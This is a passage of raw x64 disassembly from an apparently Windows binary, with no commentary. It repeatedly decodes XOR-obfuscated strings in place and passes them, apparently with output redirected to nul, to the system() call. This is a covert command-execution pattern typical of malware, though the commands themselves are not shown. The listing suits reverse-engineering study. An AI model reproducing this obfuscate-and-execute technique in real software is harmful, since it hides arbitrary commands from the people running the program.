cmp r8d, 0x30
jl 0x140052f40
cmp r8d, 0x31
jge 0x140053070
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140053040
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ce0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2d00]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2d00]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2e], al
lea rdx, [rbp + 0x371b]
lea rcx, [rbp + 0x2e]
call fcn.14006cbc0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053240
mov r8d, r14d
cmp r12d, 2
jl 0x140053201
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140053110
cmp r8d, 0x31
jge 0x140053240
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140053210
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2d20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2d40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2d40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2d20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x2f], al
lea rdx, [rbp + 0x374c]
lea rcx, [rbp + 0x2f]
call fcn.14006cbf0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053410
mov r8d, r14d
cmp r12d, 2
jl 0x1400533d1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400532e0
cmp r8d, 0x31
jge 0x140053410
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400533e0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2d60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2d80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2d80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2d60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x30], al
lea rdx, [rbp + 0x3842]
lea rcx, [rbp + 0x30]
call fcn.14006cc20
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x1400535e0
mov r8d, r14d
cmp r12d, 2
jl 0x1400535a1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400534b0
cmp r8d, 0x32
jge 0x1400535e0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400535b0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2da0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2dc0]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2dc0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2da0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x31], al
lea rdx, [rbp + 0x377d]
lea rcx, [rbp + 0x31]
call fcn.14006cc50
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400537b0
mov r8d, r14d
cmp r12d, 2
jl 0x140053771
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140053680
cmp r8d, 0x31
jge 0x1400537b0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140053780
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2de0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2e00]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2e00]
call fcn.140073650
nop
lea rcx, [rbp + 0x2de0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x32], al
lea rdx, [rbp + 0x3d7c]
lea rcx, [rbp + 0x32]
call fcn.14006cc80
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140053980
mov r8d, r14d
cmp r12d, 2
jl 0x140053941
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140053850
cmp r8d, 0x3a
jge 0x140053980
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140053950
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x33], al
lea rdx, [rbp + 0x37ae]
lea rcx, [rbp + 0x33]
call fcn.14006ccc0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053b00
mov r8d, r14d
cmp r12d, 2
jl 0x140053ac1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400539d0
cmp r8d, 0x31
jge 0x140053b00
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140053ad0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2e20]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2e40]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2e40]
call fcn.140073650
nop
lea rcx, [rbp + 0x2e20]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x34], al
lea rdx, [rbp + 0x37df]
lea rcx, [rbp + 0x34]
call fcn.14006ccf0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140053cd0
mov r8d, r14d
cmp r12d, 2
jl 0x140053c91
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140053ba0
cmp r8d, 0x31
jge 0x140053cd0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140053ca0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2e60]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2e80]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2e80]
call fcn.140073650
nop
lea rcx, [rbp + 0x2e60]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x35], al
lea rdx, [rbp + 0x3db6]
lea rcx, [rbp + 0x35]
call fcn.14006cd20
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140053ea0
mov r8d, r14d
cmp r12d, 2
jl 0x140053e61
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140053d70
cmp r8d, 0x3a
jge 0x140053ea0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140053e70
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x36], al
lea rdx, [rbp + 0x3df0]
lea rcx, [rbp + 0x36]
call fcn.14006cd60
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140054020
mov r8d, r14d
cmp r12d, 2
jl 0x140053fe1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140053ef0
cmp r8d, 0x3a
jge 0x140054020
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3a
jl 0x140053ff0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x37], al
lea rdx, [rbp + 0x3e2a]
lea rcx, [rbp + 0x37]
call fcn.14006cda0
mov r10, rax
cmp byte [rax + 0x3a], 0
je 0x1400541a0
mov r8d, r14d
cmp r12d, 2
jl 0x140054161
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140054070
cmp r8d, 0x3b
jge 0x1400541a0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140054170
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x38], al
lea rdx, [rbp + 0x3874]
lea rcx, [rbp + 0x38]
call fcn.14006cdf0
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140054320
mov r8d, r14d
cmp r12d, 2
jl 0x1400542e1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400541f0
cmp r8d, 0x32
jge 0x140054320
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400542f0
lea r8, [rbp + 0x2a00]
mov rdx, r10
lea rcx, [rbp + 0x2ea0]
call fcn.140073e60
nop
lea r8, str.__nul
mov rdx, rax
lea rcx, [rbp + 0x2ec0]
call fcn.140073fa0
nop
mov rcx, rax
call fcn.140073520
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x2ec0]
call fcn.140073650
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140073650
xor eax, eax
mov byte [rbp + 0x39], al
lea rdx, [rbp + 0x38a6]
lea rcx, [rbp + 0x39]
call fcn.14006ce20
mov r10, rax
cmp byte [rax + 0x31], 0
